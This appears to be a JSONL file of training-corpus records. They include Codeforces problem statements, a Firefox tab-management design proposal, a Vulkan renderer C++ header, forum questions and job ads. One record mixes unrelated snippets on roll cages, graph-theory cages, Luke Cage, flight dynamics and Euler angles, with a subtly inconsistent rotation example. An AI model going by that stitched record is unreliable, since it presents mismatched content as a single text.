{"text": "Square made its name by offering a free card reader for iPhones and low cost (2.75%) credit card transaction fees. But, Square wants to make transactions even simpler and introduced the Card Case to make that happen\nHow all this actually works appears to be a bit of a mystery. There is an initial setup process that associates your credit with a specific retail outlet (say a cafe). This is supposed to allow you to have purchases on subsequent visits applied to your credit line by simply identifying yourself by name. There is no description on your stated identify is verified by, for example, a worker who does not recognize you.\nWe know this much: You can browse a menu and open a tab when within 500 feet of your destination. This distance is too large for using Bluetooth or WiFi (under normal conditions). This indicates that Square’s system uses 3G and GPS or cell tower location information. This would account for the 500 distance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 196, "token_count_with_eod": 197, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am heading to Seattle for a conference - entering the country using the Visa Waiver Program. I would like to make a quick trip - probably one day or two at the most - to Vancouver and then come back to Seattle before flying home. Can someone tell me if I may expect to have problems coming back into the USA with my waived visa?\nYou will have no problems at all.\nOfficially your 90 day WVP entry into the US will not be reset by the quick visit to Canada, although realistically I'm not sure how this is enforced nowadays. (It used to be that you would keep the I-94W form that you received when you first entered the US, and re-use it to re-enter from Canada, but as I-94W's no longer exist this may not happen).\nRegardless of whether they treat it as two entries or one, it's not a problem.\nYou will also need to confirm that you do not need a Visa to enter Canada. Presuming you're an Australian, you should not need one (presuming no crime record/etc, but if you can get into the US under WVP you should have no issues getting into Canada either).\nIf you are able to visit the US on a visa waiver then you are probably able to visit Canada without a visa. You should probably check to be on the safe side. Likewise there should be no problem with exiting and re-entering the US on a visa waiver.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 301, "token_count_with_eod": 302, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi there, I'm Thomas! I'm a software developer who loves to code, and I'm currently trying to eat less cake. This is my minimalist blog where I write about the interesting things I'm learning.\nArticles from 2019:\nArticles from 2018:\n- Finding prime numbers with Eratosthenes\n- A fascinating method to draw fractals\n- Learn to make HTML5 games with Phaser 3\nIf you have any questions or feedback: email@example.com :-)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 106, "token_count_with_eod": 107, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Take Your Career to the Next Level by Joining the\nTreeful Damaso Aniceto, Inc Team!\nInterested in joining the Treeful Damaso Aniceto, Inc team?\nWe are a group of highly-motivated, passionate professionals who strive to deliver excellent results to our clients. Working at a small firm means your voice will be heard - we are always looking to improve! And for a bunch of accountants, we sure do have fun!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A roll cage is a specially engineered and constructed frame built in (or sometimes around, in which case it is known as an exo cage) the passenger compartment of a vehicle to protect its occupants from being injured in an accident, particularly in the event of a roll-over.\nThere are many different roll cage designs depending on the application, hence different racing organizations have differing specifications and regulations. They also help to stiffen the chassis, which is desirable in racing applications.\nA roll bar is a single bar behind the driver that provides moderate roll-over protection. Due to the lack of a protective top, some modern convertibles utilize a strong windscreen frame acting as a roll bar. Also, a roll hoop may be placed behind both headrests (usually one on older cars), which is essentially a roll bar spanning the width of a passenger's shoulders.\nA newer form of rollover protection, pioneered on the Mercedes-Benz R129 in 1989, is deployable roll hoops that are normally hidden within the body of a car. When sensors detect an imminent rollover, the roll hoops quickly extend and lock in place. Cars that have a deployable rollover protection system include the Peugeot 307 CC,Volvo C70, Mercedes-Benz SL 500, and Jaguar XK.\nFormally, an (r,g)-graph is defined to be a graph in which each vertex has exactly r neighbors, and in which the shortest cycle has length exactly g. It is known that an (r,g)-graph exists for any combination of r ≥ 2 and g ≥ 3. An (r,g)-cage is an (r,g)-graph with the fewest possible number of vertices, among all (r,g)-graphs.\nIf a Moore graph exists with degree r and girth g, it must be a cage. Moreover, the bounds on the sizes of Moore graphs generalize to cages: any cage with odd girth g must have at least\nvertices, and any cage with even girth g must have at least\nvertices. Any (r,g)-graph with exactly this many vertices is by definition a Moore graph and therefore automatically a cage.\nA cage is an enclosure made of mesh, bars or wires, used to confine, contain or protect something or someone. A cage can serve many purposes, including keeping an animal in captivity, capturing, and being used for display of an animal at a zoo.\nIn history, prisoners were sometimes kept in a cage. They would sometimes be chained up inside into uncomfortable positions to intensify suffering.\nCages have been usually been used to capture or trapping a certain life form. For this reason, they've been known as a hunting accessory, often used for poaching animals or simply seizing them.\nCages are often used now as a source to confine animals. These provide as a habitat to the animal, and since they've advanced so greatly, they are now specially designed to fit that species of animal. Captive breeds of birds, rodents, reptiles, and even larger animals have also been known to be confined in a cage as a domesticated animal (also known as a pet). Captivity is a common purpose of the cage.\nLuke Cage was created by Archie Goodwin and John Romita, Sr. shortly after Blaxploitation films emerged as a popular new genre. He debuted in his own series, Luke Cage, Hero for Hire, which was initially written by Goodwin and pencilled by George Tuska. Cage's adventures were set in a grungier, more crime-dominated New York City than that inhabited by other Marvel superheroes of the time. The series was retitled Luke Cage, Power Man with issue #17.\nFlight dynamics is the study of the performance, stability, and control of vehicles flying through the air or in outer space. It is concerned with how forces acting on the vehicle influence its speed and attitude with respect to time.\nIn fixed-wing aircraft, the changing orientation of the vehicle with respect to the local air flow is represented by two critical parameters, angle of attack (\"alpha\") and angle of sideslip (\"beta\"). These angles describe the vector direction of airspeed, important because it is the principal source of modulations in the aerodynamic forces and moments applied to the aircraft.\nSpacecraft flight dynamics involve three forces: propulsive (rocket engine), gravitational, and lift and drag (when traveling through the earths or any other celestial atmosphere). Because aerodynamic forces involved with spacecraft flight are very small, this leaves gravity as the dominant force.\nAircraft and spacecraft share a critical interest in their orientation with respect to the earth horizon and heading, and this is represented by another set of angles, \"yaw,\" \"pitch\" and \"roll\" which angles match their colloquial meaning, but also have formal definition as an Euler sequence. These angles are the product of the rotational equations of motion, where orientation responds to torque, just as the velocity of a vehicle responds to forces. For all flight vehicles, these two sets of dynamics, rotational and translational, operate simultaneously and in a coupled fashion to evolve the vehicle's state (orientation and velocity) trajectory.\nEuler angles represent a sequence of three elemental rotations, i.e. rotations about the axes of a coordinate system. For instance, a first rotation about z by an angle α, a second rotation about x by an angle β, and a last rotation again about y, by an angle γ. These rotations start from a known standard orientation. In physics, this standard initial orientation is typically represented by a motionless (fixed, global, or world) coordinate system; in linear algebra, by a standard basis.\nAny orientation can be achieved by composing three elemental rotations. The elemental rotations can either occur about the axes of the fixed coordinate system (extrinsic rotations) or about the axes of a rotating coordinate system, which is initially aligned with the fixed one, and modifies its orientation after each elemental rotation (intrinsic rotations). The rotating coordinate system may be imagined to be rigidly attached to a rigid body. In this case, it is sometimes called a local coordinate system. Without considering the possibility of using two different conventions for the definition of the rotation axes (intrinsic or extrinsic), there exist twelve possible sequences of rotation axes, divided in two groups:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "As a computer science student, Alex faces a hard challenge — showering. He tries to shower daily, but despite his best efforts there are always challenges. He takes $$$s$$$ minutes to shower and a day only has $$$m$$$ minutes!\n\nHe already has $$$n$$$ tasks planned for the day. Task $$$i$$$ is represented as an interval $$$(l_i$$$, $$$r_i)$$$, which means that Alex is busy and can not take a shower in that time interval (at any point in time strictly between $$$l_i$$$ and $$$r_i$$$). No two tasks overlap.\n\nGiven all $$$n$$$ time intervals, will Alex be able to shower that day? In other words, will Alex have a free time interval of length at least $$$s$$$?\n\nIn the first test case, Alex can shower for the first $$$3$$$ minutes of the day and not miss any of the tasks.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "- 1 Introduction\n- 2 Smaller Change & Implementation\n- 3 Mid-level Change & Implementation\n- 4 Larger Change & Implementation\nIn Firefox 3.0, managing content such as bookmarks, tabs, and history is very limited. While the awesome bar came a long way in improving targeted search for a particular item, browse-based interactions for bookmarks, history, and tabs is still missing. The only way to really \"browse\" this content is either by using the library, which is truly on an OS-based file management system, or by using tabs. Both of these systems do not allow users to preview, search, and navigate content visually. The library system only provides text descriptions and favicons. Similarly, tabbed content only shows a favicon and part of the title, and beyond a handful of tabs the rest are obscured in an overflow dropdown menu. This system makes searching for a particular item and browsing content difficult.\nThere have been many add-ons and unrelated programs which have experimented with novels ways to browse content. Among these are:\n- Spacetime: Visual 3D search for Yahoo! Images and Google Images, displays in visual \"stacks\"\n- Live Lab's Seadragon (ZUI): Introduces navigation based on extreme zooming. Content is laid out and zooming into an area brings you to that content. Zooming in to specific area on a page opens up new content.\n- Bumptop: \"Realistic\" desktop with physics model so items can be tossed, stacked, shuffled around like weighted objects\n- PicLens: Firefox extensions which presents sites and images as a 3D wall in space, can sort objects by a search query\n- Thumbstrips: Firefox extension which displays previews of open tabs as strip of thumbnails which can be hidden\n- Flock's Media Bar: a social networking-focused browser built on the Firefox codebase, where media is browsable by a preview bar at the top of the window\n- Pogo: At&t's not-yet-released 3D spacey browser, with files fading off into the background in fish-eyed 3D stacks\n- Opera and IE: Pages visible as a grid of thumbnails\nWhile many of these interactions are interesting and novel, they may not be the best features to come standard with Firefox. For instance, PicLens is an interesting way to browse content and many Firefox users have it as an add-on, but creating something this CPU-intensive as part of the browser would not likely serve the needs of many users.\nI've been doing some sketches and thinking about what kinds of features related to previewing and searching content may make sense for the next version of Firefox. I've taken the sketches that I feel have the most potential and grouped them into three categories, based on how easy they might be to implement and how big a change they will cause.\nEvaluation for 3.1:\n- Canvas3d is available\n- Problems storing / retrieving image data quickly enough\n- Needs immediate consultation with the platform team\n- potentially low benefit (don't use coverflow, do use grid view)\n- Seems like rich ground, might need a bit more exploration\n- Smaller change & implementation (see below) may be appropriate for 3.1, while more major changes may need to wait until 4.0\n- Many methods of visual navigation are already available as addons\nSmaller Change & Implementation\nThese are subtle changes to the existing UI that could make navigating content easier and more efficient.\nTab Icons in Awesomebar\nCurrently, the awesomebar displays an icon to show the user that an awesomebar result is a favorite or a tag, but it gives no indication if an awesomebar result is open in another tab. Showing open tabs here not only is consistent with the current UI, but also helps the problem of accidentally opening duplicates of the same tab. By alerting the user of open tabs, the user can choose to either navigate to that tab or create a new instance of the URL.\nTab List in Sidebar\nThis isn't so much an idea for a design as much as a move to make the Firefox interface more intuitive. Currently history and bookmarks can be shown in the sidebar, but not tabs.\nBy grouping tabs by domain in the list, users can more easily get a sense of where their tabs are and what tasks they are in the middle of. An important features of this arrangement would be to close a group of tabs by domain. For example, if someone is finished with their online banking, they can close a group of Bank of America tabs rather than hunt around for the individual tabs and windows.\nThumbnail Previews in Tooltips\nThis small and relatively low CPU-draining feature would give the user an indication of what item they are nagivating to. This interaction is already used online in several addons to preview where a link will go, prevent rick rolling.\nThis could be used in the library:\nOver a tab:\nIn the sidebar:\nOr in the bookmarks menu:\nMid-level Change & Implementation\nDropdown Domain-Specific Menus from Tabs\nA common problem in the current Firefox tab menu is that the user may be performing many different tasks in a single window over many tabs. These tabs are not currently grouped by domain nor tasks, but are layed out linearly in the order they were created. This makes completing a task which requires many tabs difficult and forces the user to hunt for the tabs they need.\nIn the above example, the user is engaged in multiple tasks in multiple domains, but the interface gives no clear affordance of this.\nBeing able to group open tabs by domain is one way to address this problem. In this sketch, which came out of a conversation with Jay Sullivan, the user clicks and holds down a tab. This produces a drop-down menu which shows all tabs open for that domain. This interactions mirrors the operating system method of seeing all windows open for a particular application in that application's menu.\nPull-down Thumbnail Grid\nThis is a for a quick way to preview tabbed content as thumbnails. The user goes to any tab and drags down to see thumbnail previews of the tabs at the top. If the user continues to pull down, he sees thumbnails of previously obscured tabs. If a tab is only partially loaded, this is represented by a semi-transparent loaded bar over the tab.\nThis addresses the problem of many tabs looking identical by allowing the user to get a quick view of what’s open and what’s loaded.\nThis is similar to the interaction in Thumbstrips, but a lighter-weight solution that's easy to pull out and in. A point Aza made is that this is not an elegant solution, but possibly more of a halfway fix, since obscuring your view certainly does not allow the user to navigate and preview at the same time.\nThe user wants to create a spreadsheet based on data from an article. So, he needs his workspace to have both a spreadsheet and an article in view. He clicks the first tab he wants to be open and then the second. He opens them both by double clicking.\nBoth tabs open next to each other, providing a workspace for the user to utilize both windows. The user can change the window layout to edit his workspace\nAbility to View Library Content as Folders and Thumbnails\nThis system would function very similarly to a current operating system: folders of content would be displayed in a grid as folders and URLs would be given thumbnail previews. Internet Explorer and Opera have similar systems of viewing tabs as thumbnail grids, though they don't so far as to use folders for directories.\nLarger Change & Implementation\nSeparate \"Tab Management Window\"\nAs described in the previous wiki, this tab management window would work like a more visual version of the current Library. These sketches are for a separate “tab management” window, where the user can organize and view tabs visually. They can view open tabs as a grid, a list, or in “scatter,” mode. Scatter mode provides the user with a free-form arrangement of tabs (and possibly history) which they can organize spatially. The user can choose to view their tabs in scatter mode:\n- By site. This groups tabs together by what domain they were reached through. If the user has ten articles open from the New York Times, these will be grouped together with the New York Times homepage being largest.\n- By topic. This groups tabs together by what searches they were accessed through. If the user has performed a Google search on San Francisco restaurants, all tabs resulting from this search are grouped together.\n- By recency & frequency. Using the idea behind the Awesomebar, sites which are visited frequently and recently appear larger in tab view and are thus easier and faster to recognize and click.\n- In freeform. The user can resize and move tabs, grouping them in whatever way fits with their working model for a project. They can add labels and fields to help create organizational systems and save their tab configurations for future sessions.\nAnother way to show content not as individual items but as steps in longer navigation tasks is by visually linking them. In these sketches, the navigation the user has taken is represented in a tree structure; whenever the user clicks a link, a branch is drawn from the location they were at to the one they are navigating to. This makes it easy to see the path the user has taken.\nAn issue with the current tab system is that many tabs can be opened, ignored, and forgotten about over time, silently eating up CPU in the background. With a timed interface, the user can see when they viewed which websites and perhaps delete unused websites accordingly. In the sketch, websites drift towards the left over time, so that new sites appear in the right-most column.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1993, "token_count_with_eod": 1994, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are n employees in Alternative Cake Manufacturing (ACM). They are now voting on some very important question and the leading world media are trying to predict the outcome of the vote.\n\nEach of the employees belongs to one of two fractions: depublicans or remocrats, and these two fractions have opposite opinions on what should be the outcome of the vote. The voting procedure is rather complicated:\n\n1. Each of n employees makes a statement. They make statements one by one starting from employees 1 and finishing with employee n. If at the moment when it's time for the i-th employee to make a statement he no longer has the right to vote, he just skips his turn (and no longer takes part in this voting).\n2. When employee makes a statement, he can do nothing or declare that one of the other employees no longer has a right to vote. It's allowed to deny from voting people who already made the statement or people who are only waiting to do so. If someone is denied from voting he no longer participates in the voting till the very end.\n3. When all employees are done with their statements, the procedure repeats: again, each employees starting from 1 and finishing with n who are still eligible to vote make their statements.\n4. The process repeats until there is only one employee eligible to vote remaining and he determines the outcome of the whole voting. Of course, he votes for the decision suitable for his fraction.\n\nYou know the order employees are going to vote and that they behave optimal (and they also know the order and who belongs to which fraction). Predict the outcome of the vote.", "source": "cpt_codeforces", "language": "en", "token_count": 331, "token_count_with_eod": 332, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Kate Crossbody Clutch - Click for Colors\nThanks for signing up!\nThere was an error signing up, please try again.\nThe New Kate crossbody clutch is made of vegan leather. It’s just the right size for carrying all your essentials. Features three zip compartments, 6 credit card slots and a license pocket. Style it with either the slender wristlet strap or slim crossbody strap.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In the country of Dengkleknesia, there are $$$N$$$ factories numbered from $$$1$$$ to $$$N$$$. Factory $$$i$$$ has an electrical coefficient of $$$A_i$$$. There are also $$$N-1$$$ power lines with the $$$j$$$-th power line connecting factory $$$U_j$$$ and factory $$$V_j$$$. It can be guaranteed that each factory in Dengkleknesia is connected to all other factories in Dengkleknesia through one or more power lines. In other words, the collection of factories forms a tree. Each pair of different factories in Dengkleknesia can use one or more existing power lines to transfer electricity to each other. However, each power line needs to be turned on first so that electricity can pass through it.\n\nDefine $$$f(x, y, z)$$$ as the minimum number of power lines that need to be turned on so that factory $$$x$$$ can make electrical transfers to factory $$$y$$$ and factory $$$z$$$. Also define $$$g(x, y, z)$$$ as the number of distinct prime factors of $$$\\text{GCD}(A_x, A_y, A_z)$$$.\n\nTo measure the electrical efficiency, you must find the sum of $$$f(x, y, z) \\times g(x, y, z)$$$ for all combinations of $$$(x, y, z)$$$ such that $$$1 \\leq x < y < z \\leq N$$$. Because the answer can be very large, you just need to output the answer modulo $$$998\\,244\\,353$$$.\n\nNote: $$$\\text{GCD}(k_1, k_2, k_3)$$$ is the greatest common divisor of $$$k_1$$$, $$$k_2$$$, and $$$k_3$$$, which is the biggest integer that simultaneously divides $$$k_1$$$, $$$k_2$$$, and $$$k_3$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 408, "token_count_with_eod": 409, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#ifndef VKST_RENDERER_H\n#define VKST_RENDERER_H\n\n#include <plat/filesystem.h>\n#include <wsi/window.h>\n#include <vk/result.h>\n#include <gsl.h>\n#include <filesystem>\n#include <vector>\n\n// Holds all of the data for a surface. This includes the swapchain,\n// renderpass, and framebuffers.\n// Surfaces must be resized when the window is resized.\nclass surface {\npublic:\n  std::size_t num_images() const noexcept { return _color_images.size(); }\n\n  VkRenderPass render_pass() const noexcept { return _render_pass; }\n\n  VkFramebuffer framebuffer(std::size_t index) const noexcept {\n    return _framebuffers[index];\n  }\n\n  VkSampleCountFlagBits samples() const noexcept { return _samples; }\n\n  VkViewport& viewport() noexcept { return _viewport; }\n  VkViewport const& viewport() const noexcept { return _viewport; }\n\n  VkRect2D& scissor() noexcept { return _scissor; }\n  VkRect2D const& scissor() const noexcept { return _scissor; }\n\n  surface() noexcept {}\n  surface(surface const&) = delete;\n  surface(surface&& other) noexcept;\n  surface& operator=(surface const&) = delete;\n  surface& operator=(surface&& rhs) noexcept;\n  ~surface() noexcept = default;\n\nprivate:\n  VkSurfaceKHR _surface{VK_NULL_HANDLE};\n\n  VkSurfaceFormatKHR _color_format{};\n  VkFormat _depth_format{};\n  VkSampleCountFlagBits _samples{};\n  VkPresentModeKHR _present_mode{};\n\n  VkSemaphore _image_available{VK_NULL_HANDLE};\n  VkSemaphore _render_finished{VK_NULL_HANDLE};\n  VkRenderPass _render_pass{VK_NULL_HANDLE};\n\n  VkSurfaceCapabilitiesKHR _capabilities{};\n  VkExtent2D _extent{};\n  VkViewport _viewport{};\n  VkRect2D _scissor{};\n  VkSwapchainKHR _swapchain{VK_NULL_HANDLE};\n\n  constexpr static uint32_t MAX_IMAGES = 4;\n  std::vector<VkImage> _color_images{};\n  std::vector<VkImageView> _color_image_views{};\n\n  VkImage _depth_image{VK_NULL_HANDLE};\n  VkDeviceMemory _depth_image_memory{VK_NULL_HANDLE};\n  VkImageView _depth_image_view{VK_NULL_HANDLE};\n\n  VkImage _color_target{VK_NULL_HANDLE};\n  VkDeviceMemory _color_target_memory{VK_NULL_HANDLE};\n  VkImageView _color_target_view{VK_NULL_HANDLE};\n\n  VkImage _depth_target{VK_NULL_HANDLE};\n  VkDeviceMemory _depth_target_memory{VK_NULL_HANDLE};\n  VkImageView _depth_target_view{VK_NULL_HANDLE};\n\n  std::vector<VkFramebuffer> _framebuffers{};\n\n  friend class renderer;\n}; // class surface\n\n// Convenience class to hold both the VkShaderModule for a shader as well as\n// any error message from compiling the shader.\nclass shader {\npublic:\n  enum class types : uint8_t {\n    vertex = 0,\n    fragment = 1,\n  }; // enum class types\n\n  operator VkShaderModule() const noexcept { return _module; }\n\n  std::string const& error_message() const noexcept { return _error_message; }\n\n  shader() noexcept {}\n  shader(shader const&) = delete;\n  shader(shader&& other) noexcept;\n  shader& operator=(shader const&) = delete;\n  shader& operator=(shader&& rhs) noexcept;\n  ~shader() noexcept = default;\n\nprivate:\n  VkShaderModule _module{VK_NULL_HANDLE};\n  std::string _error_message{};\n\n  friend class renderer;\n}; // class shader\n\nenum class renderer_result {\n  success = 0,\n  no_device = 1,\n  initialization_failed = 2,\n  surface_not_supported = 3,\n  no_memory_type = 4,\n}; // class renderer_result\n\nclass renderer_result_category_impl : public std::error_category {\npublic:\n  virtual char const* name() const noexcept override {\n    return \"renderer_result\";\n  }\n\n  virtual std::string message(int ev) const override;\n}; // class renderer_result_category_impl\n\nstd::error_category const& renderer_result_category();\n\ninline std::error_code make_error_code(renderer_result e) noexcept {\n  return {static_cast<int>(e), renderer_result_category()};\n}\n\nenum class renderer_options : uint8_t {\n  none = 0,\n  use_integrated_gpu = (1 << 1),\n}; // renderer_options\n\n// Holds all of the data for rendering. Also provides methods for creating\n// surfaces, shaders, pipelines, and command buffers, as well as submitting\n// command buffers for execution on the device.\nclass renderer {\npublic:\n  // Create a new renderer. If ec is true, then an error occurred during\n  // creation and the renderer object is in an invalid state.\n  static renderer create(gsl::czstring application_name, renderer_options opts,\n                         PFN_vkDebugReportCallbackEXT debug_report_callback,\n                         uint32_t push_constant_size,\n                         std::error_code& ec) noexcept;\n\n  // Create a new surface. If ec is true, then an error occurred during\n  // creation and the surface object is in an invalid state.\n  surface create_surface(wsi::window const& window,\n                         std::error_code& ec) noexcept;\n\n  // Resize a surface. Must be called when the window that was passed for\n  // surface creation is resized. This is not automatically done to allow\n  // the render loop to determine when to perform the resize. If ec is true,\n  // then an error occurred during the resize.\n  void resize(surface& s, wsi::extent2d const& extent,\n              std::error_code& ec) noexcept;\n\n  // Acquire the next ready image in the swapchain for rendering to. This\n  // must be called and the returned index passed to submit_present. If\n  // ec is true, then an error occurred and the returned index is invalid.\n  uint32_t acquire_next_image(surface& s, std::error_code& ec) noexcept;\n\n  // Submit a set of command buffers for execution and then present the\n  // previously acquired swapchain image. image_index must come from an\n  // immediately preceding call to acquire_next_image. fence can be\n  // VK_NULL_HANDLE which indicates no fence should be signaled when the\n  // command buffers can be reused. If ec is true, then an error occurred\n  // during either the submit or present.\n  void submit_present(gsl::span<VkCommandBuffer> buffers, surface& s,\n                      uint32_t image_index, VkFence fence,\n                      std::error_code& ec) noexcept;\n\n  void destroy(surface& s) noexcept;\n\nprivate:\n  void release(surface& s) noexcept;\n\npublic:\n  // Allocate a set of command buffers. If ec is true, then an error occurred\n  // and the vector is invalid.\n  std::vector<VkCommandBuffer>\n  allocate_command_buffers(uint32_t count, std::error_code& ec) noexcept;\n\n  // Submit a set of command buffers. onetime indicates that the submit should\n  // use the onetime fence and wait for the submit to complete before\n  // continuing. If ec is true, then an error occurred.\n  void submit(gsl::span<VkCommandBuffer> command_buffers, bool onetime,\n              std::error_code& ec) noexcept;\n\n  void free(std::vector<VkCommandBuffer>& command_buffers) noexcept;\n\n  // Create a new shader from the given source code. path is expected to hold\n  // GLSL source code which will be compiled before creating the shader. If ec\n  // is true, then an error occurred and the shader is valid such that\n  // shader::error_message can be called to get any compilation errors.\n  shader create_shader(plat::filesystem::path const& path, shader::types type,\n                       std::error_code& ec) noexcept;\n\n  void destroy(shader& s) noexcept;\n\n  // Create a new pipeline layout. If ec is true, then an error occurred and\n  // the pipeline layout object is invalid.\n  VkPipelineLayout create_pipeline_layout(\n    gsl::span<VkDescriptorSetLayout> descriptor_set_layouts,\n    gsl::span<VkPushConstantRange> push_constant_ranges,\n    std::error_code& ec) noexcept;\n\n  void destroy(VkPipelineLayout layout) noexcept;\n\n  // Create a new set of pipelines. A single pipeline can also be created.\n  // If ec is true, then an error occurred and the vector of pipelines is\n  // invalid.\n  std::vector<VkPipeline>\n  create_pipelines(gsl::span<VkGraphicsPipelineCreateInfo> cinfos,\n                   std::error_code& ec) noexcept;\n\n  void destroy(gsl::span<VkPipeline> pipes) noexcept;\n\n  // Create a new fence. If ec is true, then an error occurred and the fence\n  // is invalid.\n  VkFence create_fence(bool signaled, std::error_code& ec) noexcept;\n\n  // Wait for a set of fences to be signaled. If wait_all is true, then all\n  // fences must be signaled before the call will return, if wait_all is\n  // false, then a single fence will cause the call to return. timeout\n  // specifies how long to wait, 0 returns immediately, and UINT64_MAX will\n  // wait indefinitely. If ec is true, and error occurred while waiting.\n  void wait(gsl::span<VkFence> fences, bool wait_all, uint64_t timeout,\n            std::error_code& ec) noexcept;\n\n  // Reset a set of fences from the signaled state to unsignaled. If ec is\n  // true then an error occured.\n  void reset(gsl::span<VkFence> fences, std::error_code& ec) noexcept;\n\n  void destroy(VkFence fence) noexcept;\n\n  constexpr renderer() noexcept {};\n  renderer(renderer const&) = delete;\n  renderer(renderer&& other) noexcept;\n  renderer& operator=(renderer const&) = delete;\n  renderer& operator=(renderer&& rhs) noexcept;\n  ~renderer() noexcept;\n\nprivate:\n  VkInstance _instance{VK_NULL_HANDLE};\n  VkDebugReportCallbackEXT _callback{VK_NULL_HANDLE};\n\n  VkPhysicalDevice _physical{VK_NULL_HANDLE};\n  VkDevice _device{VK_NULL_HANDLE};\n\n  uint32_t _graphics_queue_family_index{UINT32_MAX};\n  VkQueue _graphics_queue{VK_NULL_HANDLE};\n  VkCommandPool _graphics_command_pool{VK_NULL_HANDLE};\n  VkFence _graphics_onetime_fence{VK_NULL_HANDLE};\n}; // class renderer\n\ninline constexpr auto operator|(renderer_options a,\n                                renderer_options b) noexcept {\n  using U = std::underlying_type_t<renderer_options>;\n  return static_cast<renderer_options>(static_cast<U>(a) | static_cast<U>(b));\n}\n\ninline constexpr auto operator&(renderer_options a,\n                                renderer_options b) noexcept {\n  using U = std::underlying_type_t<renderer_options>;\n  return static_cast<renderer_options>(static_cast<U>(a) & static_cast<U>(b));\n}\n\n#endif // VKST_RENDERER_H", "source": "cpt_stack_code", "language": "code", "token_count": 2504, "token_count_with_eod": 2505, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "can we get the service task control from flowable engin.\nso that we can complete whenever we want it.\ni have to use a service task to call an external REST service, i dont l know when that REST service will complete.\nfor that i need to wait till in service task.\nAnd one more question is i have created one process like,\nStart Event -> UserTask -> ServiceTask -> UserTask -> EndEvent\nwhen i am completing a first userTask it is not completing but that contol is going to serviceTask and it executing a serviceTask Class.\nplease help ASAP.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 125, "token_count_with_eod": 126, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Wilbur the pig now wants to play with strings. He has found an n by m table consisting only of the digits from 0 to 9 where the rows are numbered 1 to n and the columns are numbered 1 to m. Wilbur starts at some square and makes certain moves. If he is at square (x, y) and the digit d (0 ≤ d ≤ 9) is written at position (x, y), then he must move to the square (x + ad, y + bd), if that square lies within the table, and he stays in the square (x, y) otherwise. Before Wilbur makes a move, he can choose whether or not to write the digit written in this square on the white board. All digits written on the whiteboard form some string. Every time a new digit is written, it goes to the end of the current string.\n\nWilbur has q strings that he is worried about. For each string si, Wilbur wants to know whether there exists a starting position (x, y) so that by making finitely many moves, Wilbur can end up with the string si written on the white board.", "source": "cpt_codeforces", "language": "en", "token_count": 241, "token_count_with_eod": 242, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I was trying to compare ffmpeg 5.0 vs version 3.4.6 in how much performance improvements I would get while transcoding a simple 720p video into a H264 video. On my laptop, I noticed around 5-10% improvement in the total execution time when using the updated version.\nffmpeg -y -i video.webm -r 30 -vf eq=gamma=.95:saturation=1.1,scale=w=960:h=540:force_original_aspect_ratio=decrease -c:v libx264 -profile:v high -level 4.2 -crf 25 -tune film -b:a 128k -ar 44100 -async 1 -movflags +faststart -max_muxing_queue_size 9999 output.mp4\nShould I really expect a performance improvement when using this updated version? And are there any other flags or ways I can add to improve performance or quality even more?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 220, "token_count_with_eod": 221, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an undirected, connected graph of $$$n$$$ nodes and $$$m$$$ edges. All nodes $$$u$$$ of the graph satisfy the following:\n\n- Let $$$S_u$$$ be the set of vertices in the longest simple cycle starting and ending at $$$u$$$.\n- Let $$$C_u$$$ be the union of the sets of vertices in any simple cycle starting and ending at $$$u$$$.\n- $$$S_u = C_u$$$.\n\nYou need to answer $$$q$$$ queries.\n\nFor each query, you will be given node $$$a$$$ and node $$$b$$$. Out of all the edges that belong to any simple path from $$$a$$$ to $$$b$$$, count the number of edges such that if you remove that edge, $$$a$$$ and $$$b$$$ are reachable from each other.", "source": "cpt_codeforces", "language": "en", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Pune | Full Time\nWe are building the future, one classroom at a time.\nCleverGround is an education infrastructure startup and the creator of the largest global teaching-exclusive platform. We have enabled millions of educators in India and across the globe digitize their classrooms with our proprietary, mobile-first, classroom technology.\nWe are a team of young, enterprising leaders with experience working at some of India’s leading startups over the years. Innovation, ownership and passion is at the heart of everything we do and we are all unified by the single mission of democratizing education by empowering educators and enabling them to create impactful learning experiences.\nAbout the role – Backend Engineer at CleverGround:\nCleverGround is looking for a Senior Backend Engineer to help us scale for our continued growth as a game-changing, industry-defining company shaping the future of education.\n- Development of our application’s back end. End to end delivery of new features.\n- Evolving the architecture for performance and scalability.\n- Design, develop and own components of a highly scalable, distributed web services platform.\n- Constantly strive to improve software development process and team productivity.\n- 3+ years of experience in backend development\n- Proficient in python and Django/flask\n- Experience with databases like MongoDB, Postgres, Redis\n- Experience with Stream processing software like Kafka\n- Algorithms and software design optimized for large scale distributed software systems\nGood to have\n- Experience with Spark/Pandas\n- Have experience with Google Cloud Platform/ AWS\n- Knowledge of Other languages like C++/Java\nMust-have Mindsets And Skillsets\n- Strong algorithmic thinking\n- Seamless Collaboration with Mobile and Web Development team\n- Solid foundation in Computer Science, with strong competencies in data structures,", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
